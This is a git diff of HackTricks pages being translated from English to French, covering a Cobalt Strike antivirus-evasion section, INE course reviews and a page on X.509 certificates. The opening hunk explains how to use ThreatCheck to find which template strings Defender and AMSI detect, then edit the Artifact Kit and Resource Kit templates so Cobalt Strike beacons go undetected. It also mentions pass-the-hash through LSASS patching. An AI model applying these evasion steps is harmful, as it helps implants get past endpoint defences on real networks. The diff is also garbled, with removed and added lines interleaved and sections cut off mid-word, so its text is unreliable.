- -## Avoiding AVs - -### Artifact Kit - -Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons. - -Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary. - -After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`. +## D'un point de vue OpSec: ne pas effectuer d'injection interplateforme à moins que vous n'en ayez vraiment besoin (par exemple, x86 -> x64 ou x64 -> x86). +## Passer le hash +## Cette modification nécessite le patching de la mémoire LSASS, ce qui est une action à haut risque, nécessite des privilèges d'administrateur local et n'est pas viable si Protected Process Light (PPL) est activé. +pth [pid] ``` pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` +N'oubliez pas de charger le script agressif `dist-pipe\artifact.cna` pour indiquer à Cobalt Strike d'utiliser les ressources du disque que nous voulons et non celles chargées. -Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded. +### Kit de ressources -### Resource Kit - -The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA. - -Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it: +Le dossier ResourceKit contient les modèles pour les charges utiles basées sur des scripts de Cobalt Strike, y compris PowerShell, VBA et HTA. +En utilisant [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) avec les modèles, vous pouvez trouver ce que Defender (AMSI dans ce cas) n'aime pas et le modifier : ``` .\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1 ``` +Modifiant les lignes détectées, on peut générer un modèle qui ne sera pas détecté. -Modifying the detected lines one can generate a template that won't be caught. - -Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded. - - - - - - - +N'oubliez pas de charger le script agressif `ResourceKit\resources.cna` pour indiquer à Cobalt Strike d'utiliser les ressources du disque que nous voulons et non celles chargées. ```bash cd C:\Tools\neo4j\bin neo4j.bat console @@ -233,3 +125,4 @@ pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` + diff --git a/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md index 4023d4bf7..971d5227f 100644 --- a/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md +++ b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md @@ -1,105 +1,60 @@ -# INE Courses and eLearnSecurity Certifications Reviews +# Avis sur les cours INE et les certifications eLearnSecurity
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs. -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-## eLearnSecurity Mobile Application Penetration Tester (eMAPT) and the respective INE courses +## eLearnSecurity Mobile Application Penetration Tester (eMAPT) et les cours INE respectifs -### Course: [**Android & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting) +### Cours : [**Android & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting) -This is the course to **prepare for the eMAPT certificate exam**. It will teach you the **basics of Android** as OS, how the **applications works**, the **most sensitive components** of the Android applications, and how to **configure and use** the main **tools** to test the applications. The goal is to **prepare you to be able to pentest Android applications in the real life**. +C'est le cours pour **se préparer à l'examen de certification eMAPT**. Il vous apprendra les **bases d'Android** en tant que système d'exploitation, comment les **applications fonctionnent**, les **composants les plus sensibles** des applications Android, et comment **configurer et utiliser** les principaux **outils** pour tester les applications. L'objectif est de **vous préparer à pouvoir tester les applications Android dans la vie réelle**. -I found the course to be a great one for **people that don't have any experience pentesting Android** applications. However, **if** you are someone with **experience** in the topic and you have access to the course I also recommend you to **take a look to it**. That **was my case** when I did this course and even having a few years of experience pentesting Android applications **this course taught me some Android basics I didn't know and some new tricks**. +J'ai trouvé que ce cours était excellent pour les **personnes qui n'ont aucune expérience en test de pénétration d'applications Android**. Cependant, **si** vous êtes quelqu'un qui a de l'**expérience** dans le domaine et que vous avez accès au cours, je vous recommande également de **y jeter un coup d'œil**. C'était mon cas lorsque j'ai suivi ce cours et même si j'avais quelques années d'expérience en test de pénétration d'applications Android, **ce cours m'a appris quelques bases d'Android que je ne connaissais pas et de nouveaux trucs**. -Finally, note **two more things** about this course: It has **great labs to practice** what you learn, however, it **doesn't explain every possible vulnerability** you can find in an Android application. Anyway, that's not an issue as **it teach you the basics to be able to understand other Android vulnerabilities**.\ -Besides, once you have completed the course (or before) you can go to the [**Hacktricks Android Applications pentesting section**](../mobile-pentesting/android-app-pentesting/) and learn more tricks. +Enfin, notez **deux autres choses** à propos de ce cours : il a de **grands laboratoires pour pratiquer** ce que vous apprenez, cependant, il **n'explique pas toutes les vulnérabilités possibles** que vous pouvez trouver dans une application Android. Quoi qu'il en soit, ce n'est pas un problème car **il vous apprend les bases pour être capable de comprendre d'autres vulnérabilités Android**.\ +De plus, une fois que vous avez terminé le cours (ou avant), vous pouvez aller dans la [**section de test de pénétration d'applications Android de Hacktricks**](../mobile-pentesting/android-app-pentesting/) et apprendre plus de trucs. -### Course: [**iOS & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) +### Cours : [**iOS & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) -When I performed this course I didn't have much experience with iOS applications, and I found this **course to be a great resource to get me started quickly in the topic, so if you have the chance to perform the course don't miss the opportunity.** As the previous course, this course will teach you the **basics of iOS**, how the **iOS** **applications works**, the **most sensitive components** of the applications, and how to **configure and use** the main **tools** to test the applications.\ -However, there is a very important difference with the Android course, if you want to follow the labs, I would recommend you to **get a jailbroken iOS or pay for some good iOS emulator.** +Lorsque j'ai suivi ce cours, je n'avais pas beaucoup d'expérience avec les applications iOS, et j'ai trouvé que ce **cours était une excellente ressource pour me lancer rapidement dans le sujet, donc si vous avez la chance de suivre le cours, ne manquez pas l'occasion**. Comme pour le cours précédent, ce cours vous apprendra les **bases d'iOS**, comment les **applications iOS fonctionnent**, les **composants les plus sensibles** des applications, et comment **configurer et utiliser** les principaux **outils** pour tester les applications.\ +Cependant, il y a une différence très importante avec le cours Android, si vous voulez suivre les laboratoires, je vous recommande de **vous procurer un iOS jailbreaké ou de payer pour un bon émulateur iOS**. -As in the previous course, this course has some very useful labs to practice what you learn, but it doesn't explain every possible vulnerability of iOS applications. However, that's not an issue as **it teach you the basics to be able to understand other iOS vulnerabilities**.\ -Besides, once you have completed the course (or before) you can go to the [**Hacktricks iOS Applications pentesting section**](../mobile-pentesting/ios-pentesting/) and learn more tricks. +Comme pour le cours précédent, ce cours a des laboratoires très utiles pour pratiquer ce que vous apprenez, mais il n'explique pas toutes les vulnérabilités possibles des applications iOS. Cependant, ce n'est pas un problème car **il vous apprend les bases pour être capable de comprendre d'autres vulnérabilités iOS**.\ +De plus, une fois que vous avez terminé le cours (ou avant), vous pouvez aller dans la [**section de test de pénétration d'applications iOS de Hacktricks**](../mobile-pentesting/ios-pentesting/) et apprendre plus de trucs. +### [eMAPT](https:// +## Cours : **Machine Learning avec scikit-learn Starter Pass** -### [eMAPT](https://elearnsecurity.com/product/emapt-certification/) +Dans le cours [**Machine Learning avec scikit-learn Starter Pass**](https://my.ine.com/DataScience/courses/58c4e71b/machine-learning-with-scikit-learn-starter-pass), vous apprendrez, comme son nom l'indique, **comment utiliser scikit-learn pour créer des modèles de Machine Learning**. -> The eLearnSecurity Mobile Application Penetration Tester (eMAPT) certification is issued to cyber security experts that display advanced mobile application security knowledge through a scenario-based exam. +Il est recommandé pour les personnes qui n'ont pas utilisé scikit-learn (mais qui connaissent Python). -The goal of this certificate is to **show** that you are capable of performing common **mobile applications pentests**. +## Cours : **Algorithmes de classification** -During the exam you are **given 2 vulnerable Android applications** and you need to **create** an A**ndroid** **application** that **exploits** the vulnerabilities automatically. In order to **pass the exam**, you need to **send** the **exploit** **application** (the apk and the code) and it must **exploit** the **other** **apps** **vulnerabilities**. +Le cours [**Algorithmes de classification**](https://my.ine.com/DataScience/courses/2c6de5ea/classification-algorithms) est un excellent cours pour les personnes qui **commencent à apprendre le Machine Learning**. Vous y trouverez des informations sur les principaux algorithmes de classification que vous devez connaître et certains concepts mathématiques tels que la **régression logistique** et la **descente de gradient**, **KNN**, **SVM** et **les arbres de décision**. -Having done the [**INE course about Android applications pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting) **is** **more than enough** to find the vulnerabilities of the applications. What I found to be more "complicated" of the exam was to **write an Android application** that exploits vulnerabilities. However, having some experience as Java developer and looking for tutorials on the Internet about what I wanted to do **I was able to complete the exam in just some hours**. They give you 7 days to complete the exam, so if you find the vulnerabilities you will have plenty of time to develop the exploit app. +Il montre également comment **créer des modèles** avec **scikit-learn**. -In this exam I **missed the opportunity to exploit more vulnerabilities**, however, **I lost a bit the "fear" to write Android applications to exploit a vulnerability**. So it felt just like **another part of the course to complete your knowledge in Android applications pentesting**. +## Cours : **Arbres de décision** -## eLearnSecurity Web application Penetration Tester eXtreme (eWPTXv2) and the INE course related +Le cours [**Arbres de décision**](https://my.ine.com/DataScience/courses/83fcfd52/decision-trees) a été très utile pour améliorer mes connaissances sur les **arbres de décision et de régression**, **quand** ils sont **utiles**, **comment** ils **fonctionnent** et comment les **ajuster correctement**. -### Course: [**Web Application Penetration Testing eXtreme**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme) +Il explique également **comment créer des modèles d'arbres** avec scikit-learn, les différentes techniques pour **mesurer la qualité du modèle créé** et comment **visualiser l'arbre**. -This course is the one meant to **prepare** you for the **eWPTXv2** **certificate** **exam**.\ -Even having been working as web pentester for several years before doing the course, it taught me several **neat hacking tricks about "weird" web vulnerabilities and ways to bypass protections**. Moreover, the course contains **pretty nice labs where you can practice what you learn**, and that is always helpful to fully understand the vulnerabilities. - -I think this course **isn't for web hacking beginners** (there are other INE courses for that like [**Web Application Penetration Testing**](https://my.ine.com/CyberSecurity/courses/38316560/web-application-penetration-testing)**).** However, if you aren't a beginner, independently on the hacking web "level" you think you have, **I definitely recommend you to take a look to the course** because I'm sure you **will learn new things** like I did. - -## eLearnSecurity Certified Digital Forensics Professional (eCDFP) and the respective INE courses - -### Course: [**Certified Digital Forensics Professional**](https://ine.com/learning/certifications/internal/elearnsecurity-certified-digital-forensics-professional) - -This is the course to **prepare for the eCDFP certificate exam**. It will teach you the **basics of Digital Forensics**, how the **Operating System works**, the **most valuable components** of the Operating Systems which can be gathered for performing Digital Forensics, and how to **configure and use** the main **tools** to perform Digital Forensics. The goal is to **prepare you to be able to perform Digital Forensics in the real life**. - -I found the course to be a great one for **people that don't have any experience in Digital Forensics** applications. However, **if** you are someone with **experience** in the topic and you have access to the course I also recommend you to **take a look to it**. That **was my case** when I did this course and even having a few years of experience performing Digital Forensics **this course taught me some great basics I didn't knew and some new tips and tricks**. - -Finally, note **two more things** about this course: It has **great labs to practice** what you learn. Also it defined your baseline to get started in **Digital Forenics** and to start doing it in real life scenario on your own. - -### [eWPTXv2](https://elearnsecurity.com/product/ewptxv2-certification/) - -> The eLearnSecurity Web Application Penetration Tester eXtreme (eWAPTX) is our most advanced web application pentesting certification. The eWPTX exam requires students to perform an expert-level penetration test that is then assessed by INE’s cyber security instructors. Students are expected to provide a complete report of their findings as they would in the corporate sector in order to pass. - -The exam was composed of a **few web applications full of vulnerabilities**. In order to pass the exam you will need to compromise a few machines abusing web vulnerabilities. However, note that that's not enough to pass the exam, you need to **send a professional pentest report detailing** all the vulnerabilities discovered, how to exploit them and how to remediate them.\ -**I reported more than 10 unique vulnerabilities** (most of them high/critical and presented in different places of the webs), including the read of the flag and several ways to gain RCE and I passed. - -**All the vulnerabilities I reported could be found explained in the** [**Web Application Penetration Testing eXtreme course**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)**.** However, order to pass this exam I think that you **don't only need to know about web vulnerabilities**, but you need to be **experienced exploiting them**. So, if you are doing the course, at least practice with the labs and potentially play with other platform where you can improve your skills exploiting web vulnerabilities. - -## Course: **Data Science on the Google Cloud Platform** - -\ -It's a very interesting basic course about **how to use the ML environment provided by Google** using services such as big-query (to store al load results), Google Deep Learning APIs (Google Vision API, Google Speech API, Google Natural Language API and Google Video Intelligence API) and even how to train your own model. - -## Course: **Machine Learning with scikit-learn Starter Pass** - -In the course [**Machine Learning with scikit-learn Starter Pass**](https://my.ine.com/DataScience/courses/58c4e71b/machine-learning-with-scikit-learn-starter-pass) you will learn, as the name indicates, **how to use scikit-learn to create Machine Learning models**. - -It's definitely recommended for people that haven't use scikit-learn (but know python) - -## **Course: Classification Algorithms** - -The [**Classification Algorithms course**](https://my.ine.com/DataScience/courses/2c6de5ea/classification-algorithms) is a great course for people that is **starting to learn about machine learning**. Here you will find information about the main classification algorithms you need to know and some mathematical concepts like **logistic regression** and **gradient descent**, **KNN**, **SVM**, and **Decision trees**. - -It also shows how to **create models** with with **scikit-learn.** - -## Course: **Decision Trees** - -The [**Decision Trees course**](https://my.ine.com/DataScience/courses/83fcfd52/decision-trees) was very useful to improve my knowledge about **Decision and Regressions Trees**, **when** are they **useful**, **how** they **work** and how to properly **tune them**. - -It also explains **how to create tree models** with scikit-learn different techniques to **measure how good the created model is** and how to **visualize the tree**. - -The only drawback I could find was in some cases some lack of mathematical explanations about how the used algorithm works. However, this course is **pretty useful for people that are learning about Machine Learning**. +Le seul inconvénient que j'ai pu trouver était dans certains cas un manque d'explications mathématiques sur le fonctionnement de l'algorithme utilisé. Cependant, ce cours est **très utile pour les personnes qui apprennent le Machine Learning**. ## @@ -107,14 +62,14 @@ The only drawback I could find was in some cases some lack of mathematical expla ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/cryptography/certificates.md b/cryptography/certificates.md index a7becc24c..02d2d9a0a 100644 --- a/cryptography/certificates.md +++ b/cryptography/certificates.md @@ -1,207 +1,168 @@ -# Certificates +# Certificats
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs. +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com). +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## What is a Certificate +## Qu'est-ce qu'un certificat -In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner (called the subject), and the digital signature of an entity that has verified the certificate's contents (called the issuer). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject. +En cryptographie, un **certificat de clé publique**, également connu sous le nom de **certificat numérique** ou de **certificat d'identité**, est un document électronique utilisé pour prouver la propriété d'une clé publique. Le certificat comprend des informations sur la clé, des informations sur l'identité de son propriétaire (appelé le sujet) et la signature numérique d'une entité qui a vérifié le contenu du certificat (appelée l'émetteur). Si la signature est valide et que le logiciel examinant le certificat fait confiance à l'émetteur, il peut utiliser cette clé pour communiquer en toute sécurité avec le sujet du certificat. -In a typical [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) scheme, the certificate issuer is a [certificate authority](https://en.wikipedia.org/wiki/Certificate\_authority) (CA), usually a company that charges customers to issue certificates for them. By contrast, in a [web of trust](https://en.wikipedia.org/wiki/Web\_of\_trust) scheme, individuals sign each other's keys directly, in a format that performs a similar function to a public key certificate. +Dans un schéma d'infrastructure à clé publique (PKI) typique, l'émetteur de certificat est une autorité de certification (CA), généralement une entreprise qui facture des clients pour leur délivrer des certificats. En revanche, dans un schéma de toile de confiance, les individus signent directement les clés des autres, dans un format qui remplit une fonction similaire à celle d'un certificat de clé publique. -The most common format for public key certificates is defined by [X.509](https://en.wikipedia.org/wiki/X.509). Because X.509 is very general, the format is further constrained by profiles defined for certain use cases, such as [Public Key Infrastructure (X.509)](https://en.wikipedia.org/wiki/PKIX) as defined in RFC 5280. +Le format le plus courant pour les certificats de clé publique est défini par X.509. Comme X.509 est très général, le format est en outre contraint par des profils définis pour certains cas d'utilisation, tels que l'infrastructure à clé publique (X.509) telle que définie dans la RFC 5280. -## x509 Common Fields +## Champs communs de x509 -* **Version Number:** Version of x509 format. -* **Serial Number**: Used to uniquely identify the certificate within a CA's systems. In particular this is used to track revocation information. -* **Subject**: The entity a certificate belongs to: a machine, an individual, or an organization. - * **Common Name**: Domains affected by the certificate. Can be 1 or more and can contain wildcards. - * **Country (C)**: Country - * **Distinguished name (DN)**: The whole subject: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net` - * **Locality (L)**: Local place - * **Organization (O)**: Organization name - * **Organizational Unit (OU)**: Division of an organisation (like "Human Resources"). - * **State or Province (ST, S or P)**: List of state or province names -* **Issuer**: The entity that verified the information and signed the certificate. - * **Common Name (CN)**: Name of the certificate authority - * **Country (C)**: Country of the certificate authority - * **Distinguished name (DN)**: Distinguished name of the certificate authority - * **Locality (L)**: Local place where the organisation can be found. - * **Organization (O)**: Organisation name - * **Organizational Unit (OU)**: Division of an organisation (like "Human Resources"). -* **Not Before**: The earliest time and date on which the certificate is valid. Usually set to a few hours or days prior to the moment the certificate was issued, to avoid [clock skew](https://en.wikipedia.org/wiki/Clock\_skew#On\_a\_network) problems. -* **Not After**: The time and date past which the certificate is no longer valid. -* **Public Key**: A public key belonging to the certificate subject. (This is one of the main parts as this is what is signed by the CA) - * **Public Key Algorithm**: Algorithm used to generate the public key. Like RSA. - * **Public Key Curve**: The curve used by the elliptic curve public key algorithm (if apply). Like nistp521. - * **Public Key Exponent**: Exponent used to derive the public key (if apply). Like 65537. - * **Public Key Size**: The size of the public key space in bits. Like 2048. - * **Signature Algorithm**: The algorithm used to sign the public key certificate. - * **Signature**: A signature of the certificate body by the issuer's private key. -* **x509v3 extensions** - * **Key Usage**: The valid cryptographic uses of the certificate's public key. Common values include digital signature validation, key encipherment, and certificate signing. - * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `Digital Signature` - * **Extended Key Usage**: The applications in which the certificate may be used. Common values include TLS server authentication, email protection, and code signing. - * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `TLS Web Server Authentication` - * **Subject Alternative Name:** Allows users to specify additional host **names** for a single SSL **certificate**. The use of the SAN extension is standard practice for SSL certificates, and it's on its way to replacing the use of the common **name**. - * **Basic Constraint:** This extension describes whether the certificate is a CA certificate or an end entity certificate. A CA certificate is something that signs certificates of others and a end entity certificate is the certificate used in a web page for example (the last par of the chain). - * **Subject Key Identifier** (SKI): This extension declares a unique **identifier** for the public **key** in the certificate. It is required on all CA certificates. CAs propagate their own SKI to the Issuer **Key Identifier** (AKI) extension on issued certificates. It's the hash of the subject public key. - * **Authority Key Identifier**: It contains a key identifier which is derived from the public key in the issuer certificate. It's the hash of the issuer public key. - * **Authority Information Access** (AIA): This extension contains at most two types of information : - * Information about **how to get the issuer of this certificate** (CA issuer access method) - * Address of the **OCSP responder from where revocation of this certificate** can be checked (OCSP access method). - * **CRL Distribution Points**: This extension identifies the location of the CRL from which the revocation of this certificate can be checked. The application that processes the certificate can get the location of the CRL from this extension, download the CRL and then check the revocation of this certificate. - * **CT Precertificate SCTs**: Logs of Certificate transparency regarding the certificate +* **Numéro de version** : Version du format x509. +* **Numéro de série** : Utilisé pour identifier de manière unique le certificat dans les systèmes d'une CA. En particulier, cela est utilisé pour suivre les informations de révocation. +* **Sujet** : L'entité à laquelle appartient un certificat : une machine, un individu ou une organisation. + * **Nom commun** : Domaines affectés par le certificat. Peut être 1 ou plusieurs et peut contenir des caractères génériques. + * **Pays (C)** : Pays + * **Nom distinctif (DN)** : Tout le sujet : `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net` + * **Localité (L)** : Lieu local + * **Organisation (O)** : Nom de l'organisation + * **Unité organisationnelle (OU)** : Division d'une organisation (comme "Ressources humaines"). + * **État ou province (ST, S ou P)** : Liste des noms d'État ou de province +* **Émetteur** : L'entité qui a vérifié les informations et signé le certificat. + * **Nom commun (CN)** : Nom de l'autorité de certification + * **Pays (C)** : Pays de l'autorité de certification + * **Nom distinctif (DN)** : Nom distinctif de l'autorité de certification + * **Localité (L)** : Lieu local où l'organisation peut être trouvée. + * **Organisation (O)** : Nom de l'organisation + * **Unité organisationnelle (OU)** : Division d'une organisation (comme "Ress +#### **Format DER** -### Difference between OCSP and CRL Distribution Points +* Le format DER est la forme binaire du certificat +* Tous les types de certificats et de clés privées peuvent être encodés en format DER +* Les certificats formatés en DER ne contiennent pas les déclarations "BEGIN CERTIFICATE/END CERTIFICATE" +* Les certificats formatés en DER utilisent le plus souvent les extensions ".cer" et ".der" +* DER est généralement utilisé dans les plates-formes Java -**OCSP** (RFC 2560) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without** having to **download** the **entire CRL**.\ -**CRL** is the **traditional method** of checking certificate validity. A **CRL provides a list of certificate serial numbers** that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries.\ -From [here](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm). +#### **Format P7B/PKCS#7** -### What is Certificate Transparency +* Le format PKCS#7 ou P7B est stocké en format ASCII Base64 et a une extension de fichier ".p7b" ou ".p7c" +* Un fichier P7B ne contient que des certificats et des certificats de chaîne (CA intermédiaires), pas la clé privée +* Les plates-formes les plus courantes qui prennent en charge les fichiers P7B sont Microsoft Windows et Java Tomcat -Certificate Transparency aims to remedy certificate-based threats by **making the issuance and existence of SSL certificates open to scrutiny by domain owners, CAs, and domain users**. Specifically, Certificate Transparency has three main goals: +#### **Format PFX/P12/PKCS#12** -* Make it impossible (or at least very difficult) for a CA to **issue a SSL certificate for a domain without the certificate being visible to the owner** of that domain. -* Provide an **open auditing and monitoring system that lets any domain owner or CA determine whether certificates have been mistakenly or maliciously** issued. -* **Protect users** (as much as possible) from being duped by certificates that were mistakenly or maliciously issued. +* Le format PKCS#12 ou PFX/P12 est un format binaire pour stocker le certificat de serveur, les certificats intermédiaires et la clé privée dans un seul fichier chiffrable +* Ces fichiers ont généralement des extensions telles que ".pfx" et ".p12" +* Ils sont généralement utilisés sur les machines Windows pour importer et exporter des certificats et des clés privées -#### **Certificate Logs** - -Certificate logs are simple network services that maintain **cryptographically assured, publicly auditable, append-only records of certificates**. **Anyone can submit certificates to a log**, although certificate authorities will likely be the foremost submitters. Likewise, anyone can query a log for a cryptographic proof, which can be used to verify that the log is behaving properly or verify that a particular certificate has been logged. The number of log servers doesn’t have to be large (say, much less than a thousand worldwide), and each could be operated independently by a CA, an ISP, 